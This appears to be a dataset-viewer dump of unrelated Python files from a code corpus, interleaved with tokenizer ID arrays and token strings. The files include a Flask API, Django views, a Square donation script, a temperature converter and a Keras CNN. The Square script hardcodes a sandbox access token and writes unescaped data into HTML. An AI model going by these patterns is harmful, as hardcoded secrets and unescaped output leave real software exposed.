Datasets:
tim-lawson
/
the-stack-v2-dedup-python-starcoder2-3b

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de3a4053b5b0d4d2d5c2dcd317e64cf9b4faeb75
from urllib.parse import quote from top_model import db from top_model.ext.flask import FlaskTopModel from top_model.filesystem import ProductPhotoCIP from top_model.webstore import Product, Labo from unrest import UnRest class Hydra(FlaskTopModel): def __init__(self, *args, **kwargs): super().__init__(*args, **kwargs) self.config["CLIENT_ID"] = 4 self.config["BASE_IMAGE_URL"] = "https://static.pharminfo.fr/images/cip/{cip}/{name}.{ext}" self.config["SQLALCHEMY_DATABASE_URI"] = "pgfdw://hydra@localhost/hydra" self.config.from_envvar("MEDBOX_SETTINGS", silent=True) self.configure_db(self.config["SQLALCHEMY_DATABASE_URI"]) def filter_query(query): return query.filter_by(client_id=app.config["CLIENT_ID"]) app = Hydra(__name__) rest = UnRest(app, db.session) rest(Labo, only=("label",)) product_api = rest( Product, query=filter_query, only=("product_id", "title", "description", "cip", "resip_labo_code", "type_product") ) image_api = rest(ProductPhotoCIP, only=("cip", "name", "ext")) @image_api.declare("GET") def get_image(payload, cip, name, ext): result = image_api.get(payload, cip=cip) for obj in getattr(result, "data", result)["objects"]: obj["name"] = quote(obj["name"]) obj["url"] = app.config["BASE_IMAGE_URL"].format(**obj) return result @product_api.declare("GET") def get_product(payload, product_id): products = Product.query.filter_by(cip=str(product_id)).filter_by(client_id=app.config["CLIENT_ID"]).all() if products: return product_api.get(payload, product_id=products[0].product_id) else: return {"objects": [], "occurences": 0}
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something1 x = session.query(x).filter(y).count() something2 y = ( session.query( models.User, models.X, ) .filter( models.User.time > start_time, models.User.id == user_id, ) .count() ) def something3(): x = ( session.query( models.Review, ) .filter( models.Review.time < end_time, ) .count() ) something4 x = session.query(x, y).filter(bla).count() x = session.query(x.X, y).filter(y > user_id).count() x = session.query(x.X, y.Y).filter(x.X == 5).count() something5
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fe12f6d3408ab115c5c440c5b45a9014cfee6539
from django.urls import path, include from . import views urlpatterns = [ path("", views.home, name="home"), path("category/", include("api.category.urls")), path("product/", include("api.product.urls")), path("user/", include("api.user.urls")), path("order/", include("api.order.urls")), path("payment/", include("api.payment.urls")), ]
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bb7910af5334641fd2db7146112afaff7a2e42b9
#!/usr/bin/env python # coding: utf-8 from __future__ import print_function import uuid import cgi import squareconnect from squareconnect.rest import ApiException from squareconnect.apis.transactions_api import TransactionsApi from squareconnect.apis.locations_api import LocationsApi from squareconnect.apis.customers_api import CustomersApi # Create instance of FieldStorage form = cgi.FieldStorage() # Get data from fields nonce = form.getvalue("nonce") # Get amount data donation = form.getvalue("amount") boxChecked = form.getvalue("boxChecked") firstName = form.getvalue("firstname") lastName = form.getvalue("lastname") email = form.getvalue("email") # The access token to use in all Connect API requests. Use your *sandbox* access # token if you're just testing things out. squareconnect.configuration.access_token = "sandbox-sq0atb-kfvpHvEa9Mz2098Nozk1RQ" # The ID of the business location to associate processed payments with. # See [Retrieve your business's locations] # (https://docs.connect.squareup.com/articles/getting-started/#retrievemerchantprofile) # for an easy way to get your business's location IDs. # If you're testing things out, use a sandbox location ID. location_id = "CBASEGLb1fOhVH4Uvvi1aY_bOawgAQ" transactions_api_instance = TransactionsApi() customers_api_instance = CustomersApi() # Every payment you process with the SDK must have a unique idempotency key. # If you're unsure whether a particular payment succeeded, you can reattempt # it with the same idempotency key without worrying about double charging # the buyer. idempotency_key = str(uuid.uuid1()) # Monetary amounts are specified in the smallest unit of the applicable currency. # This amount is in cents. It's also hard-coded for $1.00, which isn't very useful. amount = {"amount": int(donation) * 100, "currency": "USD"} customersList = [] # Add a customer to file if boxChecked == "true": heading = "Recurring Donation" customerRequest = {"given_name": firstName, "family_name": lastName, "email_address": email} try: customerResponse = customers_api_instance.create_customer(customerRequest) except ApiException as e: print("customer creation failed") print(e) exit() customer = customerResponse.customer customerCardRequest = {"card_nonce": nonce} try: customerCardResponse = customers_api_instance.create_customer_card(customer.id, customerCardRequest) except: print("customer card creation failed") exit() customerCard = customerCardResponse.card body = { "customer_id": customer.id, "customer_card_id": customerCard.id, "idempotency_key": idempotency_key, "amount_money": amount, } customersList = customers_api_instance.list_customers() else: # To learn more about splitting transactions with additional recipients, # see the Transactions API documentation on our [developer site] # (https://docs.connect.squareup.com/payments/transactions/overview#mpt-overview). heading = "One time Donation" body = {"idempotency_key": idempotency_key, "card_nonce": nonce, "amount_money": amount} # customersList = Non # The SDK throws an exception if a Connect endpoint responds with anything besides # a 200-level HTTP code. This block catches any exceptions that occur from the request. try: api_response = transactions_api_instance.charge(location_id, body) res = api_response.transaction except ApiException as e: res = "Exception when calling TransactionApi->charge: {}".format(e) # Display the result print("Content-type:text/html\r\n\r\n") print("<html>") print("<head>") print("<title>Square Payment</title>") print("</head>") print("<body>") print("<h2>Result: </h2>") print("<h2>{}</h2>".format(heading)) print("<p>{}</p>".format(res)) if customersList: print("<h2>Customers stored on File: </h2>") for customer in customersList.customers: print("<p>{}</p>".format(customer)) print("</body>") print("</html>")
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ea1d62c4a8c406dde9bb138ee045be5e682fdbfe
class Wspak: """Iterator zwracający wartości w odwróconym porządku""" def __init__(self, data): self.data = data self.index = -2 self.i = len(data) - 1 def __iter__(self): return self def __next__(self): if self.index >= self.i: raise StopIteration self.index = self.index + 2 return self.data[self.index] d = ["sdasda", "sdasdasd", "sdsad232", "dasda", "dsada"] g = (2, 3, 4, 6, 7) d = [x for x in Wspak(d)] for x in Wspak(g): print(x) print(d)
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ec64ddd01034debadb6674e71125f673f5de8367
from redis3barScore import StudyThreeBarsScore from redisUtil import RedisTimeFrame def test_score1() -> None: package = { "close": 13.92, "high": 14.57, "low": 12.45, "open": 13.4584, "symbol": "FANG", "timestamp": 1627493640000000000, "trade_count": 602, "volume": 213907, "vwap": 8.510506, } app = StudyThreeBarsScore() newPrice = 13.70 realtime = [] symbol = "FANG" stack = { "symbol": symbol, "value": {"firstPrice": 13.50, "secondPrice": 14.00, "thirdPrice": 13.00, "timeframe": RedisTimeFrame.MIN2}, } score1 = app.ThreeBarPlay(13.60, [], stack) assert score1 == 4 score2 = app.ThreeBarPlay(13.40, [], stack) assert score2 == 2
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235bb1b9d4c41c12d7667a6bac48737464c685c7
from colorama import init, Fore, Style import tempConv # ============================================================================# # TEMP CONVERSION PROGRAM: # # ============================================================================# # ----------------------------------------------------------------------------- def menu(x): """Takes a list as argument and displays as a menu""" for i in range(len(x)): print("{0:>4s} {1:<3s}{2:^5s}{3:<15}".format(str(i + 1) + ")", x[i][1], "-->", x[i][0])) # ----------------------------------------------------------------------------- def primary_message(): """A message for the main switch""" print(Fore.CYAN + "\n Select the unit you want to convert from:\n" + Fore.RESET) menu( [ ["Celsius", "\u00b0C"], ["Fahrenheit", "\u00b0F"], ["Kelvin", "\u00b0K"], ["Rankin", "\u00b0R"], ["Delisle", "\u00b0De"], ["Newton", "\u00b0N"], ["R\u00e9aumur", "\u00b0R\u00e9"], ["R\u00f8mer", "\u00b0R\u00f8"], [Fore.RED + "Exit\n" + Fore.RESET, ""], ] ) # ----------------------------------------------------------------------------- def secondary_message(t, unit): """A message for the secondary switch""" print(Fore.CYAN + "\n Select the unit you would you like to convert " + str(t) + "\u00b0" + unit + " into:\n" + Fore.RESET) menu( [ ["Celsius", "\u00b0C"], ["Fahrenheit", "\u00b0F"], ["Kelvin", "\u00b0K"], ["Rankin", "\u00b0R"], ["Delisle", "\u00b0De"], ["Newton", "\u00b0N"], ["R\u00e9aumur", "\u00b0R\u00e9"], ["R\u00f8mer", "\u00b0R\u00f8"], [Fore.RED + "Back\n" + Fore.RESET, ""], ] ) # ----------------------------------------------------------------------------- def result_message(t, t2, unit, unit2): from os import system """ Prints the result to the screen """ print( Fore.GREEN + "\n " + str(round(t, 2)) + "\u00b0" + unit + Fore.YELLOW + " --> " + Fore.GREEN + Style.BRIGHT + str(round(t2, 2)) + "\u00b0" + unit2 + "\n" + Style.RESET_ALL ) print(system("pause")) # ----------------------------------------------------------------------------- def choice(x, y=0): """Checks user input""" while True: try: choice = int(input()) # <=== Check if it's an int if choice <= x and choice > 0 and choice != y: # <=== If choice in return choice # range and not the same; return choice break elif choice == y: print(Fore.RED + "\n Can't convert to the same unit!\n" + Fore.RESET) else: print(Fore.RED + "\n Invalid choice!\n" + Fore.RESET) except ValueError: # <=== If choice is invalid prompt message print(Fore.RED + "\n Invalid input!\n" + Fore.RESET) # ----------------------------------------------------------------------------- def value_input(unit): """Asks user for temp. value, then checks it.""" print(Fore.CYAN + "\n Enter the temperature in \u00b0" + unit + ":\n" + Fore.RESET) while True: try: value = float(input()) # <=== Make sure input is a float return value break except ValueError: print(Fore.RED + "\n Input must be an integer!\n" + Fore.RESET) # ----------------------------------------------------------------------------- def value_check(unit, value): """Check for value below absolute zero""" while True: try: # <=== Checks that value isn't below abs 0 t = value_input(unit) # Returns value if okay if value(t) != None: return t break except ValueError: tempConv(t) # ----------------------------------------------------------------------------- def main(): """ " This is the main function""" while True: primary_message() # <=== Display menu and take input x = choice(9) z = tempConv if x == 1: # This is the From Celsius options t = value_check("C", tempConv.cel_ran) secondary_message(t, "C") y = choice(9, 1) while True: if y == 2: t2 = z.cel_fah(t) # <=== Fahrenheit result_message(t, t2, "C", "F") break elif y == 3: t2 = z.cel_kel(t) # <=== Kelvin result_message(t, t2, "C", "K") break elif y == 4: t2 = z.cel_ran(t) # <=== Rankin result_message(t, t2, "C", "R") break elif y == 5: t2 = z.cel_del(t) # <=== Delisle result_message(t, t2, "C", "De") break elif y == 6: t2 = z.cel_new(t) # <=== Newton result_message(t, t2, "C", "N") break elif y == 7: t2 = z.cel_rea(t) # <=== Reaumur result_message(t, t2, "C", "R\u00e9") break elif y == 8: t2 = z.cel_rom(t) # <=== Romer result_message(t, t2, "C", "R\u00f8") break elif y == 9: break elif x == 2: t = value_check("F", tempConv.fah_ran) secondary_message(t, "F") y = choice(9, 2) while True: if y == 1: t2 = z.fah_cel(t) result_message(t, t2, "F", "C") break elif y == 3: t2 = z.fah_kel(t) result_message(t, t2, "F", "K") break elif y == 4: t2 = z.fah_ran(t) result_message(t, t2, "F", "R") break elif y == 5: t2 = z.fah_del(t) result_message(t, t2, "F", "De") break elif y == 6: t2 = z.fah_new(t) result_message(t, t2, "F", "N") break elif y == 7: t2 = z.fah_rea(t) result_message(t, t2, "F", "R\u00e9") break elif y == 8: t2 = z.fah_rom(t) result_message(t, t2, "F", "R\u00f8") break elif y == 9: break elif x == 3: t = value_check("K", tempConv.kel_ran) secondary_message(t, "K") y = choice(9, 3) while True: if y == 1: t2 = z.kel_cel(t) result_message(t, t2, "K", "C") break elif y == 2: t2 = z.kel_fah(t) result_message(t, t2, "K", "F") break elif y == 4: t2 = z.kel_ran(t) result_message(t, t2, "K", "R") break elif y == 5: t2 = z.kel_del(t) result_message(t, t2, "K", "De") break elif y == 6: t2 = z.kel_new(t) result_message(t, t2, "K", "N") break elif y == 7: t2 = z.kel_rea(t) result_message(t, t2, "K", "R\u00e9") break elif y == 8: t2 = z.kel_rom(t) result_message(t, t2, "K", "R\u00f8") break elif y == 9: break elif x == 4: t = value_check("R", tempConv.ran_rea) secondary_message(t, "R") y = choice(9, 4) while True: if y == 1: t2 = z.ran_cel(t) result_message(t, t2, "R", "C") break elif y == 2: t2 = z.ran_fah(t) result_message(t, t2, "R", "F") break elif y == 3: t2 = z.ran_kel(t) result_message(t, t2, "R", "K") break elif y == 5: t2 = z.ran_del(t) result_message(t, t2, "R", "De") break elif y == 6: t2 = z.ran_new(t) result_message(t, t2, "R", "N") break elif y == 7: t2 = z.ran_rea(t) result_message(t, t2, "R", "R\u00e9") break elif y == 8: t2 = z.ran_rom(t) result_message(t, t2, "R", "R\u00f8") break elif y == 9: break elif x == 5: t = value_check("De", tempConv.del_ran) secondary_message(t, "De") y = choice(9, 5) while True: if y == 1: t2 = z.del_cel(t) result_message(t, t2, "De", "C") break elif y == 2: t2 = z.del_fah(t) result_message(t, t2, "De", "F") break elif y == 3: t2 = z.del_kel(t) result_message(t, t2, "De", "K") break elif y == 4: t2 = z.del_ran(t) result_message(t, t2, "De", "R") break elif y == 6: t2 = z.del_new(t) result_message(t, t2, "De", "N") break elif y == 7: t2 = z.del_rea(t) result_message(t, t2, "De", "R\u00e9") break elif y == 8: t2 = z.del_rom(t) result_message(t, t2, "De", "R\u00f8") break elif y == 9: break elif x == 6: t = value_check("N", tempConv.new_ran) secondary_message(t, "N") y = choice(9, 6) while True: if y == 1: t2 = z.new_cel(t) result_message(t, t2, "N", "C") break elif y == 2: t2 = z.new_fah(t) result_message(t, t2, "N", "F") break elif y == 3: t2 = z.new_kel(t) result_message(t, t2, "N", "K") break elif y == 4: t2 = z.new_ran(t) result_message(t, t2, "N", "R") break elif y == 5: t2 = z.new_del(t) result_message(t, t2, "N", "N") break elif y == 7: t2 = z.new_rea(t) result_message(t, t2, "N", "R\u00e9") break elif y == 8: t2 = z.new_rom(t) result_message(t, t2, "N", "R\u00f8") break elif y == 9: break elif x == 7: t = value_check("R\u00e9", tempConv.rea_ran) secondary_message(t, "R\u00e9") y = choice(9, 7) while True: if y == 1: t2 = z.rea_cel(t) result_message(t, t2, "R\u00e9", "C") break elif y == 2: t2 = z.rea_fah(t) result_message(t, t2, "R\u00e9", "F") break elif y == 3: t2 = z.rea_kel(t) result_message(t, t2, "R\u00e9", "K") break elif y == 4: t2 = z.rea_ran(t) result_message(t, t2, "R\u00e9", "R") break elif y == 5: t2 = z.rea_del(t) result_message(t, t2, "R\u00e9", "De") break elif y == 6: t2 = z.rea_new(t) result_message(t, t2, "R\u00e9", "N") break elif y == 8: t2 = z.rea_rom(t) result_message(t, t2, "R\u00e9", "R\u00f8") break elif y == 9: break elif x == 8: t = value_check("R\u00f8", tempConv.rom_ran) secondary_message(t, "R\u00f8") y = choice(9, 8) while True: if y == 1: t2 = z.rom_cel(t) result_message(t, t2, "R\u00f8", "C") break elif y == 2: t2 = z.rom_fah(t) result_message(t, t2, "R\u00f8", "F") break elif y == 3: t2 = z.rom_kel(t) result_message(t, t2, "R\u00f8", "K") break elif y == 4: t2 = z.rom_ran(t) result_message(t, t2, "R\u00f8", "R") break elif y == 5: t2 = z.rom_del(t) result_message(t, t2, "R\u00f8", "De") break elif y == 6: t2 = z.rom_new(t) result_message(t, t2, "R\u00f8", "N") break elif y == 7: t2 = z.rom_rea(t) result_message(t, t2, "R\u00f8", "R\u00e9") break elif y == 9: break elif x == 9: print(Fore.CYAN + "\n Goodbye!" + Fore.RESET) i = 0 break # ----------------------------------------------------------------------------- if __name__ == "__main__": init() main()
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d9f586bbb72021ee0b37ff8660e26b50d7e6a2d3
from django.http import HttpResponse from django.shortcuts import render def index(request): return render(request, "ALR1.html") def search(request): return render(request, "ALR2.html") def home(request): return render(request, "ALR3.html") def pdf(request): pdfId = request.GET["id"] # pdf_data=open('pdf/' + pdfId + '.pdf','rb').read() pdf_data = open("pdf/test.pdf", "rb").read() return HttpResponse(pdf_data, content_type="application/pdf")
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3d737d0ee9c3af1f8ebe4c6998ad30fa34f42856
from django.shortcuts import render from ..login.models import * def user(request): context = {"users": User.objects.all(), "user_level": User.objects.get(id=request.session["user_id"])} return render(request, "dashboard/user.html", context) def admin(request): context = {"users": User.objects.all(), "user_level": User.objects.get(id=request.session["user_id"])} return render(request, "dashboard/admin.html", context)
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937d01eaa82cbfe07b20fae9320c554a0960d7b1
import sys sys.stdin = open("input.txt", "rt") BLOCK_0 = 1 BLOCK_1 = 2 BLOCK_2 = 3 N = int(input()) X, Y = 10, 10 # x: 행 , y: 열A GRN = 0 BLU = 1 maps = [[0] * Y for _ in range(X)] dx = [1, 0] dy = [0, 1] def outMaps(x, y): global X, Y if 0 <= x < X and 0 <= y < Y: return False else: return True def meetBlock(x, y, maps): if maps[x][y] == 1: return True else: return False def onlyUpdate(n_blocks, xs, ys, maps): for i in range(n_blocks): maps[xs[i]][ys[i]] = 1 def oneLineFull(maps, CLR): for i in range(4, 10): for j in range(4): if CLR == GRN and maps[i][j] == 0: break elif CLR == BLU and maps[j][i] == 0: break else: # 전부 1이여서 full line일 때 return True, i return False, 0 def pullAndUpdate(olf_idx, maps, CLR): # for olf in list_olf: for i in range(olf_idx, 3, -1): for j in range(4): if CLR == GRN: if olf_idx == 4: maps[i][j] = 0 else: maps[i][j] = maps[i - 1][j] maps[i - 1][j] = 0 elif CLR == BLU: if olf_idx == 4: maps[j][i] = 0 else: maps[j][i] = maps[j][i - 1] maps[j][i - 1] = 0 def pushAndPullUpdate(n_inBorder, maps, CLR): for i in range(10 - 1 - n_inBorder, 3, -1): for j in range(4): if CLR == GRN: maps[i + n_inBorder][j] = maps[i][j] maps[i][j] = 0 elif CLR == BLU: maps[j][i + n_inBorder] = maps[j][i] maps[j][i] = 0 def print_maps(maps): global X, Y for i in range(X): for j in range(Y): print(maps[i][j], end=" ") print() print() def isBlockInBorder(maps, CLR): cnt = 0 for i in range(4, 6): for j in range(4): if (CLR == GRN and maps[i][j] == 1) or (CLR == BLU and maps[j][i] == 1): cnt += 1 break return cnt def Mover(n_blocks, xs_ori, ys_ori, maps, CLR): xs = xs_ori.copy() ys = ys_ori.copy() score = 0 STOP_FLAG = False while not STOP_FLAG: for i in range(n_blocks): xt, yt = xs[i] + dx[CLR], ys[i] + dy[CLR] if outMaps(xt, yt): STOP_FLAG = True break if meetBlock(xt, yt, maps): STOP_FLAG = True break else: # break 걸리지 않고 넘어왔으므로, update for i in range(n_blocks): xs[i], ys[i] = xs[i] + dx[CLR], ys[i] + dy[CLR] # 만약 STOP_FLAG == True 로 탈출했다면 # 해당 상자의 이동이 끝난 것 이므로 한 줄이 전부 차있는 것이 있는지 check # maps에 업데이트 onlyUpdate(n_blocks, xs, ys, maps) # 만약 one line full 인 라인이 있다면 OLF_FLAG = True while OLF_FLAG: OLF_FLAG, olf_idx = oneLineFull(maps, CLR) if OLF_FLAG: score += 1 pullAndUpdate(olf_idx, maps, CLR) # 만약 경계안에 block이 존재한다면 n_inBorder = isBlockInBorder(maps, CLR) if n_inBorder: pushAndPullUpdate(n_inBorder, maps, CLR) return score def Area_score(maps, CLR): score = 0 for i in range(4, 10): for j in range(4): if CLR == GRN: score += maps[i][j] elif CLR == BLU: score += maps[j][i] return score total_score = 0 for i in range(N): t, x, y = map(int, input().split()) xs, ys = [x], [y] if t == BLOCK_0: n_blocks = 1 elif t == BLOCK_1: n_blocks = 2 xs.append(x) ys.append(y + 1) elif t == BLOCK_2: n_blocks = 2 xs.append(x + 1) ys.append(y) total_score += Mover(n_blocks, xs, ys, maps, GRN) total_score += Mover(n_blocks, xs, ys, maps, BLU) # print_maps(maps) grn_score = Area_score(maps, GRN) blu_score = Area_score(maps, BLU) print(total_score) print(grn_score + blu_score)
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ebe546794131eddea396bd6b82fbb41aeead4661
# -*- coding: utf-8 -*- """ This is a simple sample for seuif.py License: this code is in the public domain Author: Cheng Maohua Email: [email protected] Last modified: 2016.4.20 """ from seuif97 import * import matplotlib.pyplot as plt import numpy as np p1, t1 = 16, 535 p2, t2 = 3.56, 315 h1 = pt2h(p1, t1) s1 = pt2s(p1, t1) h2 = pt2h(p2, t2) s2 = pt2s(p2, t2) h2s = ps2h(p2, s1) his = ishd(p1, t1, p2) ef = ief(p1, t1, p2, t2) # print('The isentropic efficiency is ',ef) # 4条线：p1、p2 等压，等熵焓降线、膨胀线 samp = 0.01 smp1 = s1 - samp hsmp1 = ps2h(p1, smp1) sap1 = s1 + samp hsap1 = ps2h(p1, sap1) smt1 = s1 - samp hsmt1 = ps2h(p1, smp1) sat1 = s1 + samp hsat1 = ts2h(t1, sap1) point_p1_h = np.zeros(shape=3) point_p1_h[0] = hsmp1 point_p1_h[1] = h1 point_p1_h[2] = hsap1 point_p1_s = np.zeros(shape=3) point_p1_s[0] = smp1 point_p1_s[1] = s1 point_p1_s[2] = sap1 # p2 smp2 = s1 - samp # 等熵焓降点延伸 hsmp2 = ps2h(p2, smp2) sap2 = s2 + samp hsap2 = ps2h(p2, sap2) smt2 = s2 - samp hsmt2 = ps2h(p1, smp1) sat2 = s2 + samp hsat2 = ts2h(t2, sap1) point_p2_h = np.zeros(shape=3) point_p2_h[0] = hsmp2 point_p2_h[1] = h2 point_p2_h[2] = hsap2 point_p2_s = np.zeros(shape=3) point_p2_s[0] = smp2 point_p2_s[1] = s2 point_p2_s[2] = sap2 # 等熵焓降 point_is_h = np.zeros(shape=2) point_is_h[0] = h1 point_is_h[1] = h2s point_is_s = np.zeros(shape=2) point_is_s[0] = s1 point_is_s[1] = s1 # HP Expansion Line point_hp_h = np.zeros(shape=2) point_hp_h[0] = h1 point_hp_h[1] = h2 point_hp_s = np.zeros(shape=2) point_hp_s[0] = s1 point_hp_s[1] = s2 plt.plot(point_p1_s, point_p1_h, "bs-") plt.plot(point_p2_s, point_p2_h, "bs-") plt.plot(point_is_s, point_is_h, "ys-") plt.plot(point_hp_s, point_hp_h, "rs-", label="Expansion Line") _title = "The isentropic efficiency = " + r"$\frac{h1-h2}{h1-h2s}$" + "=" + "{:.2f}".format(ef) + "%" plt.legend(loc="best", bbox_to_anchor=[0.5, 0.5], ncol=2, shadow=True, title=_title) # annotate some interesting points plt.annotate( "(P1,T1)", xy=(s1, h1), xycoords="data", xytext=(+10, +30), textcoords="offset points", fontsize=12, arrowprops=dict(arrowstyle="->", connectionstyle="arc3,rad=.2"), ) plt.annotate( "(P2,T2)", xy=(s2, h2), xycoords="data", xytext=(+10, +30), textcoords="offset points", fontsize=12, arrowprops=dict(arrowstyle="->", connectionstyle="arc3,rad=.2"), ) plt.xlabel("s(kJ/(kg.K))") plt.ylabel("h(kJ/kg)") plt.show()
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100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 100, 101, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 102, 103, 104, 104, 104, 104, 104, 104, 105, 105, 105, 105, 105, 106, 106, 106, 106, 106, 106, 106, 106, 107, 107, 107, 107, 107, 107, 107, 107, 107, 108, 108, 108, 108, 108, 108, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 109, 110, 110, 110, 110, 110, 110, 110, 111, 111, 111, 111, 111, 111, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 112, 113, 113, 114, 115, 115, 115, 115, 115, 116, 116, 116, 116, 116, 116, 116, 116, 117, 117, 117, 117, 117, 117, 117, 117, 117, 118, 118, 118, 118, 118, 118, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 119, 120, 120, 120, 120, 120, 120, 120, 121, 121, 121, 121, 121, 121, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 122, 123, 123, 124, 125, 125, 125, 125, 125, 125, 125, 125, 125, 125, 125, 125, 125, 125, 125, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 126, 127, 127, 127, 127, 127 ]
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906265182a9776fec5bad41bfc9ee68b36873d1e
# 예외처리 문법을 활용하여 정수가 아닌 숫자를 입력했을때 에러문구가나오도록 작성.(에러문구:정수가아닙니다) try: x = int(input("정수를 입력하세요: ")) print(x) except: print("정수가 아닙니다.")
[ 40, 26363, 48987, 12540, 33843, 20744, 25036, 5197, 48408, 7993, 23575, 15390, 11159, 7153, 18610, 2825, 258, 37330, 142, 10764, 5561, 36903, 40269, 5197, 203, 16495, 37585, 19156, 19004, 24040, 7153, 16388, 27164, 37924, 46435, 10702, 5032, 19156, 19004, 24040, 63, 11226, 11159, 7153, 18913, 2825, 271, 7397, 46, 222, 222, 1287, 63, 303, 837, 299, 648, 45, 1151, 459, 11226, 11159, 5561, 36903, 4546, 41183, 63, 29583, 303, 1489, 45, 125, 46, 222, 222, 7364, 63, 303, 1489, 459, 11226, 11159, 7153, 18610, 2825, 271, 7397, 7164, 222 ]
[ "#", "ĠìĺĪ", "ìĻ¸", "ì²", "ĺ리", "Ġ문", "ë²ķ", "ìĿĦ", "ĠíĻľ", "ìļ©", "íķĺìŬ", "Ġìłķ", "ìĪĺ", "ê°Ģ", "ĠìķĦ", "ëĭ", "Į", "ĠìĪ", "«", "ìŀIJ", "를", "Ġìŀħëł¥", "íĸĪ", "ìĿĦ", "ë", "ķĮ", "ĠìĹIJ", "룬", "문", "구", "ê°Ģ", "ëĤĺ", "ìĺ¤", "ëıĦë¡Ŀ", "ĠìŀijìĦ±", ".(", "ìĹIJ", "룬", "문", "구", ":", "ìłķ", "ìĪĺ", "ê°Ģ", "ìķĦ", "ëĭ", "Ļ", "ëĭĪëĭ¤", ")", "Ċ", "Ċ", "try", ":", "ĊĠĠĠ", "Ġx", "Ġ=", "Ġint", "(", "input", "(\"", "ìłķ", "ìĪĺ", "를", "Ġìŀħëł¥", "íķĺ", "ìĦ¸ìļĶ", ":", "Ġ\"))", "ĊĠĠĠ", "Ġprint", "(", "x", ")", "Ċ", "Ċ", "except", ":", "ĊĠĠĠ", "Ġprint", "(\"", "ìłķ", "ìĪĺ", "ê°Ģ", "ĠìķĦ", "ëĭ", "Ļ", "ëĭĪëĭ¤", ".\")", "Ċ" ]
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[ 1, 2, 4, 5, 5, 7, 9, 10, 11, 13, 14, 16, 18, 19, 20, 22, 22, 23, 24, 25, 26, 27, 30, 31, 32, 32, 33, 35, 36, 37, 38, 39, 40, 41, 43, 46, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 57, 58, 60, 61, 1, 1, 4, 5, 4, 6, 8, 12, 13, 18, 20, 21, 22, 23, 26, 27, 29, 30, 34, 4, 10, 11, 12, 13, 1, 1, 7, 8, 4, 10, 12, 13, 14, 15, 17, 17, 18, 20, 23 ]
aa4d872c6a529d8acf18f1c3b477bc1816ac2887
adict = {"name": "bob", "age": 23} print("bob" in adict) print("name" in adict) for key in adict: print("%s:%s" % (key, adict[key])) print("%(name)s:%(age)s" % adict)
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[ "ad", "ict", "Ġ=", "Ġ{\"", "name", "\":", "Ġ\"", "bob", "\",", "Ġ\"", "age", "\":", "Ġ", "2", "3", "}", "Ċ", "print", "(\"", "bob", "\"", "Ġin", "Ġa", "dict", ")", "Ċ", "print", "(\"", "name", "\"", "Ġin", "Ġa", "dict", ")", "Ċ", "for", "Ġkey", "Ġin", "Ġa", "dict", ":", "ĊĠĠĠ", "Ġprint", "(\"%", "s", ":%", "s", "\"", "Ġ%", "Ġ(", "key", ",", "Ġa", "dict", "[", "key", "]))", "Ċ", "print", "(\"%", "(", "name", ")", "s", ":%", "(", "age", ")", "s", "\"", "Ġ%", "Ġa", "dict", ")", "Ċ" ]
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[ 1, 3, 6, 8, 11, 15, 17, 19, 22, 24, 26, 29, 31, 32, 33, 34, 35, 1, 6, 8, 11, 12, 15, 17, 21, 22, 1, 6, 8, 12, 13, 16, 18, 22, 23, 1, 4, 8, 11, 13, 17, 18, 4, 10, 13, 14, 16, 17, 18, 20, 22, 25, 26, 28, 32, 33, 36, 39, 1, 6, 9, 10, 14, 15, 16, 18, 19, 22, 23, 24, 25, 27, 29, 33, 34 ]
ebc050544da69837cc2b8977f347380b94474bab
import os import numpy as np from keras.models import Sequential, Model from keras.layers import Dense, Dropout, Flatten, concatenate from keras.layers import Conv2D, MaxPooling2D, GlobalAveragePooling2D, Activation from keras.layers.normalization import BatchNormalization from keras.optimizers import SGD from keras.utils import np_utils import matplotlib.pyplot as plt from sklearn.metrics import confusion_matrix, f1_score import seaborn as sns from keras.layers import Input, Dense, Add, Multiply # macOS特有の警告文を非表示（GPUがないからCPUでやるときに出る） os.environ["TF_CPP_MIN_LOG_LEVEL"] = "2" # パラメータの初期化 classes = [ "normal cells", "blasts", "blasts_highSSC_granulocytes", "blasts_highSSC_middle_ugly", "blasts_highSSC_upper_dead", ] num_classes = len(classes) image_size = 66 # データの読み込み imagefiles = np.load("imagefiles_supplementary.npz") X_train = imagefiles["X_train"] X_test = imagefiles["X_test"] y_train = imagefiles["y_train"] y_test = imagefiles["y_test"] # グレースケール画像をCNNに入力するための次元操作 X_train = X_train.reshape((-1, image_size, image_size, 1)) X_test = X_test.reshape((-1, image_size, image_size, 1)) # データの正規化 X_train = X_train.astype("float32") X_test = X_test.astype("float32") # OneHotVector化する(正解ラベルの位置に1がつく) y_train = np_utils.to_categorical(y_train, num_classes) y_test = np_utils.to_categorical(y_test, num_classes) def _build(_input, *nodes): x = _input for node in nodes: if callable(node): x = node(x) elif isinstance(node, list): x = [_build(x, branch) for branch in node] elif isinstance(node, tuple): x = _build(x, *node) else: x = node return x _input = Input(X_train.shape[1:]) output = _build( _input, # Reduction dual-path module×３の定義 # --------------------------- # 畳み込み層の追加(96:フィルタ数) # バッチ正規化 # 活性化関数：ReLu # --------------------------- # MaxPooling # --------------------------- # Reduction dual-path module1 [ ( Conv2D(96, (3, 3), strides=(2, 2)), BatchNormalization( axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, beta_initializer="zeros", gamma_initializer="ones", moving_mean_initializer="zeros", moving_variance_initializer="ones", beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None, ), Activation("relu"), ), MaxPooling2D(pool_size=(3, 3), strides=(2, 2)), ], # Reduction dual-path module2 Add(), [ ( Conv2D(96, (3, 3), strides=(2, 2)), BatchNormalization( axis=-1, momentum=0.99, epsilon=0.001, center=True, scale=True, beta_initializer="zeros", gamma_initializer="ones", moving_mean_initializer="zeros", moving_variance_initializer="ones", beta_regularizer=None, gamma_regularizer=None, beta_constraint=None, gamma_constraint=None, ), 